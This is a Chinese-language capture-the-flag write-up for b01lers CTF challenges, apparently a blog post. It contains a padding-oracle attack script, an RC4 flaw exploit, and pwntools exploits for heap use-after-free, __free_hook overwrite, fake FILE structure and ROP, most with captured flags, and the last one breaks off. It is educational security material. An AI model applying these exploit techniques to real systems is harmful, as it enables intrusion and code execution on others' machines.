[DEBUG] Received 0x26 bytes:
    b"Good. Let's send those over to him.\n"
    b'.\n'
[DEBUG] Received 0x2 bytes:
    b'.\n'
[DEBUG] Received 0x739 bytes:
    b'.\n'
    b'Yep, he got my secret message!\n'
    b'\n'
    b"The shares P(X_i)'s were':\n"
    b'[5681570411208942801422714769047811696498886603510121160006572885405365745842118787883776732042414169131027069600703009011544843205608616602265675082844157, 311543348155877605732729143272332400317765717206761458094635457493943259140629086851589642200917408575404658501831974447353557188773027322765908384267012, 6904085599032353630933746507919757207364922363339413258280250351804946011798510214493520990605742996072143577447135528217190850734291728022478670634858022, 7042763570898964977422680262650426604010216405379268380556064582044224329249299892133431621814930429650688397732655958423763518875995779737361530404158921, 5983019336957032477605898531124923973520433207435438080290688682563065262937026177102779661641440548551954363750850136555697106515978973983477142552534648, 993926345225072998383858988674446322803771287768033970486451847431477447400851364494334132062463838997829611845735561576227979668924525519008150959886778, 121419692713287822004173014023474463936714002077317979790775389077228502226195853464792316276853484393767061621705806768415354831899259129262937283964556, 3088967373734320870091756742892917934780403962561598341567679882109819728940350972140294105298231619868017928835082386400221431946751515720269889210846918, 5717111148345573321926692848247091031288927308784722995908842112883932541651729837597264357232102163469378588112102268378062571351227753720375226069649008, 2802142442134894527927396548277443170028332488528735137285332504207337958818839815403309721248481566620051671062766723969335813596866563223551897022981938, 2923564582403207066291197332755534770062323732196581509417723630906927712164061846341216898162630933248577293875554973477477407289521208180854785032482074]\n'
    b"... Oh no. I think now you'd know the secret also... Thanks again though.\n"
b'bctf{P0LYN0m14l_1N_M0d_P_12_73H_P0W3Rh0u23_0F_73H_5h4M1r}'
[*] Closed connection to gold.b01le.rs port 5006

'''

 Propagating Counter Block Chaining

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from functools import reduce
from secret import flag
import os
import json

BLOCK_SIZE = 16
key_ctr1 = os.urandom(BLOCK_SIZE)
key_ctr2 = os.urandom(BLOCK_SIZE)
key_cbc = os.urandom(BLOCK_SIZE)
nonce1 = os.urandom(8)
nonce2 = os.urandom(8)

def AES_ECB_enc(key, message):
    enc = AES.new(key, AES.MODE_ECB)
    return enc.encrypt(message)

def AES_ECB_dec(key, message):
    enc = AES.new(key, AES.MODE_ECB)
    return enc.decrypt(message)

# Returning a block each time
def get_blocks(message):
    for i in range(0, len(message), BLOCK_SIZE):
        yield message[i:i+BLOCK_SIZE]
    return

# Takes any number of arguements, and return the xor result.
# Similar to pwntools' xor, but trucated to minimum length
def xor(*args):
    _xor = lambda x1, x2: x1^x2
    return bytes(map(lambda x: reduce(_xor, x, 0), zip(*args)))


def counter(nonce):
    count = 0
    while count < 2**(16 - len(nonce)):
        yield nonce + str(count).encode().rjust(16-len(nonce), b"\x00")
        count+=1
    return


def encrypt(message):
    cipher = b""
    iv = os.urandom(BLOCK_SIZE)
    prev_block = iv
    counter1 = counter(nonce1)
    counter2 = counter(nonce2)
    for block in get_blocks(pad(message, BLOCK_SIZE)):
        enc1 = AES_ECB_enc(key_ctr1, next(counter1))
        enc2 = AES_ECB_enc(key_cbc, xor(block, prev_block, enc1))
        enc3 = AES_ECB_enc(key_ctr2, next(counter2))
        enc4 = xor(enc3, enc2)
        prev_block = xor(block, enc4)
        cipher += enc4

    return iv + cipher

def decrypt(cipher):
    message = b""
    iv = cipher[:16]
    cipher_text = cipher[16:]

    prev_block = iv
    counter1 = counter(nonce1)
    counter2 = counter(nonce2)
    for block in get_blocks(cipher_text):
        dec1 = AES_ECB_enc(key_ctr2, next(counter2))
        dec2 = AES_ECB_dec(key_cbc, xor(block, dec1))
        dec3 = AES_ECB_enc(key_ctr1, next(counter1))
        message += xor(prev_block, dec2, dec3)
        prev_block = xor(prev_block, dec2, block, dec3)

    return unpad(message, BLOCK_SIZE)

def main():
    certificate = os.urandom(8) + flag + os.urandom(8)
    print(f"""
*********************************************************

Certificate as a Service

*********************************************************

Here is a valid certificate: {encrypt(certificate).hex()}

*********************************************************""")
    while True:
        try:
            cert = bytes.fromhex(input("Give me a certificate >> "))
            if len(cert) < 32:
                print("Your certificate is not long enough")

            message = decrypt(cert)
            if flag in message:
                print("This certificate is valid")
            else:
                print("This certificate is not valid")
        except Exception:
            print("Something went wrong")
            
if __name__ == "__main__":
    main()

漏洞在于unpad时如果不正确会出现例外,然后返回。

虽然在AES加密时加了异或一个加密的crt但因为每次都是固定的,只要顺序不变就不影响。可以理解为一个AES一体。而前反馈的问题在于使用了明文,而当IV发生变化时会影响到明文,并且向后一直传递下去,当最后一块尾号符合unpad的条件就不会报例外。

由于这个题的flag大多是正常字符,可以通过按字符爆破来减少爆破量。

'''
   +---+      +---+      +---+
   |b1 |---+  |b2 |---+  |b3 |
   +-+-+   |  +-+-+   |  +-+-+
     |     |    |     |    |
IV---⊕    +----⊕    +----⊕
     |     |    |     |    |
   +---+   |  +---+   |  +---+
   |AES|   |  |AES|   |  |AES|
   +-+-+   |  +-+-+   |  +-+-+
     |     |    |     |    |
   +-+-+   |  +-+-+   |  +-+-+
   |c1 |---+  |c2 |---+  |c3 |
^  +---+      +---+      +---+
+-- 从后部修改,便符合pad
'''
from pwn import *

def get_v(cert):
    p.sendline(cert.hex().encode())
    msg = p.recvline()[25:] #b"Give me a certificate >> "
    #print(msg)
    print('!', end='')
    return msg

#context.log_level = 'debug'
#p = process(['py', 'chal.py'])
p = remote('gold.b01le.rs', 5003)

p.recvuntil(b'Here is a valid certificate: ')
enc = bytes.fromhex(p.recvuntil(b'\n', drop=True).decode())
cs = [enc[i:i+16] for i in range(0, len(enc),16)]
print(' '.join([cs[i].hex() for i in range(len(cs))]))
p.recvuntil(b'***\n')

#从第1块开始修改iv使尾部符合pad
plaintext = [b"bctf{adding_ctr_mode_doesn't_provide_any_security_to_padding_oracle..._c850d60d210169}Rm"]
start = 6
for i in range(start,len(cs)):
    iv = cs[0]
    c1 = cs[1:i+1]
    blk = [0]*16
    blk = [0]*16 # + [_ for _ in b't_provide_any']
    #print(b''.join(c0).hex(), iv.hex(), c1.hex())
    for idx in range(15,-1,-1):
        for k in b'_abcdefghijklmnopqrstuvwxyz\'.{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ,./:;!@#$%^&*()[]':
        #for k in range(0x20,0x7f):
        #for k in range(256):
            pv = xor(iv, bytes([0]*idx + [k^(16-idx)]) + xor(blk[idx+1:], bytes([16-idx]*(16-idx-1))) )
            v = get_v(pv+b''.join(c1))
            #print(iv.hex(), pv.hex(), v)
            if b"Something went wrong\n" in v: #unpad except
                continue
            blk[idx] = k
            print('-------------',bytes(blk))
            break
        else:
            blk[idx] = (16-idx)
    plaintext.append(bytes(blk))

print(b''.join(plaintext))

R(esurre)C(tion)4

import random
from Crypto.Util.number import getPrime, isPrime, bytes_to_long, long_to_bytes

"""
Key-scheduling algorithm (KSA)
"""
def KSA(key):
    S = [i for i in range(0, 256)]
    i = 0
    for j in range(0, 256):
        i = (i + S[j] + key[j % len(key)]) % 256
        
        S[i] ^= S[j] ## swap values of S[i] and S[j]
        S[j] ^= S[i]
        S[i] ^= S[j]
        
    return S
    
"""
Pseudo-random generation algorithm (PRGA)
"""
def PGRA(S):
    i = 0
    j = 0
    while True: ## while GeneratingOutput
        i = (1 + i) % 256
        j = (S[i] + j) % 256
        
        S[i] ^= S[j] ## swap values of S[i] and S[j]
        S[j] ^= S[i]
        S[i] ^= S[j]
        
        yield S[(S[i] + S[j]) % 256]        

    

if __name__ == '__main__':
    FLAG = 'bctf{REDACTED}'
    print("Would you like to pad the plaintext before encrypting it?")
    print("(Just hit enter if you do not want to add any padding(s).)")
    Padding = input()
    input_text = ''
    input_text += Padding
    input_text += FLAG

    plaintext = [ord(char) for char in input_text]
    key = long_to_bytes(random.getrandbits(2048)) # 2048 bits = 256 bytes
    key = [byte for byte in key]

    S = KSA(key)
    keystream = PGRA(S)
    
    ciphertext = ''
    for char in plaintext:
        enc = char ^ next(keystream)
        enc = (str(hex(enc)))[2:]
        if len(enc) == 1: ## make sure they are all in the form 0x**
            enc = '0' + enc
        ciphertext += enc

    print(ciphertext)

看上去是个RC4加密,在RC4的交换部分 s[i],s[j]=s[j],s[i]变成了s[i]^=s[j];s[j]^=s[i];s[i]^=s[j]

对于两个数字交换两种方法是相同的,但是当i=j时就会使s[i]=0,这样当大量加密时会导致s被清0,后边的就变成无加密的明文了。

from pwn import *

#context.log_level = 'debug'

p = remote('gold.b01le.rs', 5004)
p.sendlineafter(b'.)\n', b'A'*1024000)
msg = bytes.fromhex(p.recvline().strip().decode())[-45:]
print(msg)
#bctf{1f_gOOgL3_541D_1T_15_b4D_Th3n_1T_15_b4D}

 

pwn

shall-we-play-a-game

v7这有个溢出,并且有个后门,直接溢出到后门。这个代码连调试都不用。

from pwn import *

context(arch='amd64', log_level='debug')
p = remote('gold.b01le.rs', 4004)

p.sendline(b'a')
p.sendline(b'a')
p.sendline(b'a')
p.sendline(b'a'*0x40+flat(0, 0x4011dd))

p.interactive()
#bctf{h0w_@bo0ut_a_n1ce_g@m3_0f_ch3ss?_ccb7a268f1324c84}

easy-note

有UAF,还有写溢出,对于libc-2.27来说直接写free_hook->system即可,也是那种不用调的。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = remote('gold.b01le.rs', 4001)

cmd = b"-----Resize----\n"
def add(idx,size):
    p.sendlineafter(cmd, b'1')
    p.sendlineafter(b"Where? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(cmd, b'2')
    p.sendlineafter(b"Where? ", str(idx).encode())

def show(idx):
    p.sendlineafter(cmd, b'3')
    p.sendlineafter(b"Where? ", str(idx).encode())

def edit(idx,size,msg):
    p.sendlineafter(cmd, b'4')
    p.sendlineafter(b"Where? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())
    p.send(msg)

add(0, 0x430)
add(1, 0x10)
add(2, 0x10)
free(0)

show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

free(1)
free(2)
edit(1,40 , flat(0,0,0,0x21,libc.sym['__free_hook']))

add(3, 0x10)
add(4, 0x10)
edit(1, 8, b'/bin/sh\0')
edit(4, 8, p64(libc.sym['system']))

free(1)

p.interactive()
#bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}

 medium-note

UAF还在,libc改为2.36这就写不了hook了,fastbin Attack打apple那个IO_list_all的位置 

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.36.so.6')

#p = process('./chal')
p = remote('gold.b01le.rs', 4002)

def add(idx,size):
    p.sendlineafter(b"-----Resize----\n", b'1')
    p.sendlineafter(b"Where? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b"-----Resize----\n", b'2')
    p.sendlineafter(b"Where? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"-----Resize----\n", b'3')
    p.sendlineafter(b"Where? ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b"-----Resize----\n", b'4')
    p.sendlineafter(b"Where? ", str(idx).encode())
    p.sendafter(b'\n', msg)

add(0,0x500)
add(1,0x100)
add(2,0x100)
free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1d1cc0
print(f"{libc.address = :x}")

free(2)
free(1)
show(2)
heap = u64(p.recvline()[:-1].ljust(8,b'\x00'))<<12
print(f"{heap = :x}")

edit(1, p64((heap>>12)^libc.sym['_IO_list_all']))
add(3,0x100)
add(4,0x100)


fake_file_addr = heap + 0x7b0
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({
    0x0: b"  sh;",
    0x28: libc.symbols['system'],
    0xa0: fake_file_addr-0x10, # wide data
    0x88: fake_file_addr+0x100, # 可写,且内存为0即可
    0xD0: fake_file_addr+0x28-0x68, # wide data vtable
    0xD8: libc.symbols['_IO_wfile_jumps'], # vtable  
}, filler=b"\x00")

'''
0x7ffff7fb3660 <__GI__IO_list_all>:     0x00007ffff7fb3680      0x0000000000000000
0x7ffff7fb3670: 0x0000000000000000      0x0000000000000000
0x7ffff7fb3680 <_IO_2_1_stderr_>:       0x00000000fbad2086      0x0000000000000000
0x7ffff7fb3690 <_IO_2_1_stderr_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7fb36a0 <_IO_2_1_stderr_+32>:    0x0000000000000000      0x0000000000000000

0x7ffff7fb3660 <__GI__IO_list_all>:     0x000055555555c7b0      0x0000000000000000
0x7ffff7fb3670: 0x0000000000000000      0x0000000000000000
0x7ffff7fb3680 <_IO_2_1_stderr_>:       0x00000000fbad2086      0x0000000000000000
0x7ffff7fb3690 <_IO_2_1_stderr_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7fb36a0 <_IO_2_1_stderr_+32>:    0x0000000000000000      0x0000000000000000

gef➤  x/20gx 0x000055555555c7b0
0x55555555c7b0: 0x0000003b68732020      0x0000000000000000
0x55555555c7c0: 0x0000000000000000      0x0000000000000000
0x55555555c7d0: 0x0000000000000000      0x00007ffff7e2f360
'''

edit(3, fake_file)
edit(4, p64(fake_file_addr))
p.sendlineafter(b"-----Resize----\n", b'5')
#gdb.attach(p)
#pause()
p.sendline(b'cat flag.txt')
p.interactive()
#bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}

seeing-red

 

有3个函数,main里有个printf但是无法循环,只有1次,help_me有个溢出,但不太长,use_ticket读flag到rdi但没有输出。地址固定且got表可写。

可打的地方挺多,但调得好辛苦,到夜里1点多(估计是困了有点乱)

这里有个小坑,setbuf只设置了stdout没有stdin这样本地可以成功的但远程可能就会不成功。数据不一定能送到。

一开始打算3次移栈,调用setbuf(stdin)和use_ticket+puts但始终不成功。

这里有个隐藏点,被main调起的函数返回都是leave_ret而main本身是不用这个的直接ret。所以在help_me里溢出里并不修改返回地址而是向下修改libc_start_main_ret为start。因为并不知道栈地址,所以help_me返回时rbp被破坏,但是main并不leave所以会正常运行。这时候再调用一下start又会把rbp给正常填上。达到循环执行。只有要循环多次运行printf还是有不少方法的。

我用的这个移栈方法需要调栈指针,栈指针这东西困了调不了。

from pwn import *

context(arch='amd64', log_level='debug')

'''
libc-2.35-0ubuntu3.1
sooo... anyways whats your favorite Taylor Swift song? %7$p
Ooohh! 0x7f8fa8ecfd90
'''

libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.1_amd64/libc.so.6')
elf = ELF('./chal')

p = remote('gold.b01le.rs', 4008)
#p = process('./chal')

leave_ret = 0x4012f7

#help_me 溢出修改main的返回地址,在执行main的printf泄露后返回到start重新初始化栈(main没有leave;ret不发生移栈)
p.sendlineafter(b"Do you know where it could be?! \n", b'A'*64 + flat(0, 0x40131f,0, elf.sym['_start']))
p.sendlineafter(b"sooo... anyways whats your favorite Taylor Swift song? ", b'%27$p\n%11$p')
libc.address = int(p.recvline()[7:],16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvline(),16) - 0x218
print(f"{libc.address = :x}")
print(f"{stack = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret

p.sendlineafter(b"Do you know where it could be?! \n", flat(stack-0x40+0x10, pop_rdi, elf.sym['ticket'], elf.sym['use_ticket'], pop_rdi, elf.sym['ticket'], elf.plt['puts'],0, stack-0x50, leave_ret))



p.interactive()
#bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad

  • 15
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值